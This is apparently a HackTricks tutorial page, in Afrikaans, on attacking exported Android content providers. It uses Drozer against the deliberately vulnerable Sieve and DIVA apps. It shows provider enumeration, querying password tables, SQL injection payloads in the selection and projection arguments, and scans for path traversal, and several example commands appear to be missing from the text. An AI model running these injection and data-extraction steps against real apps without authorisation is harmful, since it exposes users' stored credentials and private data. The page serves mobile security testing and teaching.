Exploiting Content Providers
Reading time: 5 minutes
Exploiting Content Providers
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Intro
Data word verskaf van een toepassing na ander op versoek deur 'n komponent bekend as 'n content provider. Hierdie versoeke word bestuur deur die ContentResolver class metodes. Content providers kan hul data in verskeie plekke stoor, soos 'n databasis, lĂȘers, of oor 'n netwerk.
In die Manifest.xml lĂȘer is die verklaring van die content provider vereis. Byvoorbeeld:
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
Om toegang te verkry tot content://com.mwr.example.sieve.DBContentProvider/Keys
, is die READ_KEYS
toestemming nodig. Dit is interessant om op te let dat die pad /Keys/
in die volgende afdeling toeganklik is, wat nie beskerm is nie weens 'n fout van die ontwikkelaar, wat /Keys
beveilig het maar /Keys/
verklaar het.
Miskien kan jy toegang verkry tot privaat data of 'n sekere kwesbaarheid benut (SQL Injection of Path Traversal).
Kry inligting van blootgestelde inhoudverskaffers
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Dit is moontlik om saam te stel hoe om die DBContentProvider te bereik deur URI's te begin met âcontent://â. Hierdie benadering is gebaseer op insigte wat verkry is deur Drozer te gebruik, waar sleutel-inligting in die /Keys gids geleĂ« was.
Drozer kan raai en verskeie URI's probeer:
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
U moet ook die ContentProvider kode nagaan om vir navrae te soek:
As u ook nie volle navrae kan vind nie, kan u kyk watter name deur die ContentProvider verklaar is in die onCreate
metode:
Die navraag sal soos volg wees: content://name.of.package.class/declared_name
Databasis-ondersteunde Inhoudverskaffers
Waarskynlik word die meeste van die Inhoudverskaffers as koppelvlak vir 'n databasis gebruik. Daarom, as u toegang kan verkry, kan u in staat wees om inligting te onttrek, op te dateer, in te voeg en te verwyder.
Kyk of u toegang tot sensitiewe inligting kan kry of probeer om dit te verander om autorisasiemeganismes te omseil.
Wanneer u die kode van die Inhoudverskaffer nagaan, kyk ook vir funksies wat soos volg genoem word: query, insert, update en delete:
Omdat u in staat sal wees om hulle aan te roep
Navraag inhoud
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
Voeg inhoud in
Deur die databasis te ondervra, sal jy die naam van die kolomme leer, dan kan jy data in die DB invoeg:
Notice dat jy in invoeg en opdatering --string kan gebruik om 'n string aan te dui, --double om 'n double aan te dui, --float, --integer, --long, --short, --boolean
Werk inhoud op
Met die naam van die kolomme kan jy ook die inskrywings wysig:
Verwyder inhoud
SQL Inbraak
Dit is eenvoudig om vir SQL-inbraak (SQLite) te toets deur die projektering en keuse velde wat aan die inhoudverskaffer oorgedra word, te manipuleer.
Wanneer jy die Inhoudverskaffer ondervra, is daar 2 interessante argumente om inligting te soek: --selection en --projection:
Jy kan probeer om hierdie parameters te misbruik om vir SQL-inbrake te toets:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
Outomatiese SQLInjection ontdekking deur Drozer
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence
LĂȘerstelsel-ondersteunde Inhoudverskaffers
Inhoudverskaffers kan ook gebruik word om lĂȘers te verkry:
Lees lĂȘer
Jy kan lĂȘers van die Inhoudverskaffer lees.
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Pad Traversal
As jy toegang tot lĂȘers kan kry, kan jy probeer om 'n Pad Traversal te misbruik (in hierdie geval is dit nie nodig nie, maar jy kan probeer om "../" en soortgelyke truuks te gebruik).
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Outomatiese Pad Traversering ontdekking deur Drozer
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
Verwysings
- https://www.tutorialspoint.com/android/android_content_providers.htm
- https://manifestsecurity.com/android-application-security-part-15/
- https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.